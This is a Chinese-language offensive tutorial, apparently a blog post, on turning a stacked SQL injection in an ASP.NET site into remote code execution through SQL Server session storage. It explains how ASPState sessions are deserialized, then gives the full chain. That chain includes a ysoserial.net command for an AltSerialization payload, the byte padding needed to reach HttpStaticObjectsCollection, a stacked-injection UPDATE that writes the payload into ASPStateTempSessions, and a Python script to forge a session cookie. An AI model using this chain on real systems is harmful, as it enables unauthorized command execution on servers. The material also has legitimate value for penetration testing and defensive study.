有一些陈旧、庞大的系统中,因为一些复杂的原因,往往仍在使用 sa 账户登入 SQL Server,而在有如此高权限的资料库账户权限下,我们可以轻易利用 xp_cmdshell 来执行系统指令,但是这是几乎不可能的,我们取得的数据库账户必然是低权限,但因为发现的 SQL 注入是堆叠注入,我们仍然可以对表进行 CRUD,运气好可以控制一些网站设定变数的话,甚至可以直接 RCE

就比如我们可以发现某些特殊的数据库:

1
2
3
4
5
6
Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications |
| dbo.ASPStateTempSessions |
+---------------------------------------+

这个数据库的存在用途是用来保存 ASP.NET 网站应用程式的 session。

在 ASP.NET 网站应用程式里,Session(会话数据,比如用户登录状态、购物车资料)通常是存放在单一网站应用程式的内存里。也就是说用户访问某个站点时,Session 被保存在那台服务器的内存中,如果用户下次访问还是分配到同一台服务器,那么能顺利找到他的 Seesion

但如果放在做了负载均衡,网站后面有多台 ASP.NET 应用服务器,对外表现是一个站点,用户的请求会分配到不同的服务器,但每台服务器的 Seesion 并不共享,就会导致用户状态丢失

为了解决解决上面的问题,就需要集中存储 Seesion,一种常见做法就是所有服务器共享同一份 Seesion 数据

在 ASP.NET 里,只要在 **web.config** 配置文件中添加相关设定,就可以启用 SQL Server Session 状态存储模式。

常见的写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<configuration>
<system.web>
<!-- 將 session 保存在 SQL Server 中。 -->
<sessionState
mode="SQLServer"
sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>"
timeout="20"
/>

<!-- 预设值,将 seesion 保存在内存中 -->
<!-- <sessionState mode="InProc" timeout="20" /> -->

<!-- 将 seesion 保存在 ASP.NET State Service 中,另一种跨服务器共享 seesion 的解决方法 -->
<!--
<sessionState
mode="StateServer"
stateConnectionString="tcpip=localhost:42424"
timeout="20"
/>
-->
</system.web>
</configuration>

而要在数据库中新建 ASPState 的资料库,可以利用微软自带的小工具 aspnet_regsql 来建立或移除 Session 状态所需的数据库与表,路径在C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe

1
2
3
4
5
# 建立 ASPState 资料库
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -sstype p

# # 移除 ASPState 数据库
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove -sstype p

现在我们了解了这些前置信息后,且又可以控制 ASPState 资料库,便可以做到 RCE

ASP.NET 允许我们在 session 中储存一些物件,例如储存一个 List 物件:Session["secret"] = new List<String>() { "secret string" },对于如何将这些物件保存到 SQL Server 上,理所当然使用了序列化机制来处理,而我们又控制了数据库,所有也能执行反序列化,为此我们需要先了解 Session 物件序列化与反序列化的过程

核心操作是通过SqlSessionStateStore.GetItem还原 Session 物件,我们简单了解一下就好,详细的可以看下面的文章

https://paper.seebug.org/1186/

关键“反序列化链”是怎么打出来的?

(1)读表→拿二进制→反序列化

  • ASP.NET 取回 Session 时走 SqlSessionStateStore.GetItem() → 内部执行存储过程 ASPState.dbo.TempGetStateItem3
  • 这个 SP 实际上等价于:从 ASPStateTempSessions 取出 **SessionItemShort**(二进制序列化内容)。
  • 取出来的字节流会传给 SessionStateUtility.DeserializeStoreData(...)反序列化

(2)反序列化的分支

  • SessionStateUtility.Deserialize(...) 会先按固定格式读头部字段:
    1. timeout(Int32,4字节)
    2. hasItems(Boolean,1字节)
    3. hasStaticObjects(Boolean,1字节)
  • 然后根据布尔值走两个可能的子反序列化:
    • SessionStateItemCollection.Deserialize(...)(针对 Session 里“普通键值”)
    • HttpStaticObjectsCollection.Deserialize(...)(针对“静态对象集合”)
  • 这里我们选择第二支(HttpStaticObjectsCollection),因为它内部会调用 **AltSerialization.ReadValueFromStream**,而这条链 ysoserial.net 已有“现成 gadget”。

ysoserial.net 已经有建立 AltSerialization 反序列化 payload 的 plugin,所以可以直接掏出这个利器来使用!下面一行指令就可以产生执行系统指令 calc.exe 的 base64 编码后的 payload

1
ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64 -c "calc.exe"

但是这个生成的 payload 还需要加以修饰,ysoserial.net 的 AltSerialization plugin 所建立的 payload 是攻击 SessionStateItemCollectionHttpStaticObjectsCollection 两个类别的反序列化操作,而我们储存在资料库中的 session 序列化资料是由在此之上还额外作了一层包装的 SessionStateUtility 类别处理的

让我们回头看一下程序码,会发现 SessionStateUtility 也只添加了几个 bytes,减化后如下所示

1
2
3
4
5
6
7
8
timeout = reader.ReadInt32();
hasItems = reader.ReadBoolean();
hasStaticObjects = reader.ReadBoolean();

if (hasStaticObjects)
staticObjects = HttpStaticObjectsCollection.Deserialize(reader);

eof = reader.ReadByte();

对于 Int32 要添加 4 个 bytes,Boolean 则是 1 个 byte,而因为要让程式路径能进入 HttpStaticObjectsCollection 的分支,必须让第 6 个 byte 为 1 才能让条件达成,先将原本从 ysoserial.net 产出的 payload 从 base64 转成 hex 表示,再前后各别添加 6、1 bytes,如下示意图:

1
2
3
  timeout    false  true            HttpStaticObjectsCollection             eof
┌─────────┐ ┌┐ ┌┐ ┌───────────────────────────────────────────────┐ ┌┐
00 00 00 00 00 01 010000000001140001000000fff ... 略 ... 0000000a0b ff
  • 头部补:
    • 4字节 timeout(随便,可 0)
    • 1字节 hasItems(设 0,否则会走另一支)
    • 1字节 hasStaticObjects(**设 ****1**,才能进入 HttpStaticObjectsCollection.Deserialize(...)
  • 中间放:ysoserial 生成的 主体 payload(先从 base64 解出来,再用 hex/二进制拼接)。
  • 尾部补:0xFF(ASP.NET 反序列化校验用的 EOF 标志)。

修饰完的这个 payload 就能用来攻击 SessionStateUtility 类别了

最后的步骤就是将恶意的序列化内容注入进数据库,如果正常浏览目标网站时有出现 ASP.NET_SessionId 的 Cookie 就代表已经有一笔对应的 Session 记录储存在资料库里,所以我们只需要执行如下的 SQL Update 语句:

1
2
3
id=1; UPDATE ASPState.dbo.ASPStateTempSessions
SET SessionItemShort = 0x{Hex_Encoded_Payload}
WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; --

分别将 {ASP.NET_SessionId} 替换成自己的ASP.NET_SessionId 的 Cookie 值以及 {Hex_Encoded_Payload} 替换成前面准备好的序列化 payload 即可

假如没有 ASP.NET_SessionId 怎么办?这表示目标还未储存任何资料在 Session 中,那没有 cookie 我们就硬塞一个 cookie 给他,ASP.NET 的 SessionId 是透过乱数产生的 24 个字元,但使用了客制化的字元集,理论上可以直接使用以下的 Python script 产生一组 SessionId,例如:plxtfpabykouhu3grwv1j1qw,之后带上 Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw浏览任一个 aspx 页面,理论上 ASP.NET 就会自动在数据库里添加一笔记录

1
2
3
import random
chars = 'abcdefghijklmnopqrstuvwxyz012345'
print(''.join(random.choice(chars) for i in range(24)))

等到 Payload 顺利注入后,只要再次用这个 Cookie ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw 浏览任何一个 aspx 页面,就会触发反序列化执行任意系统指令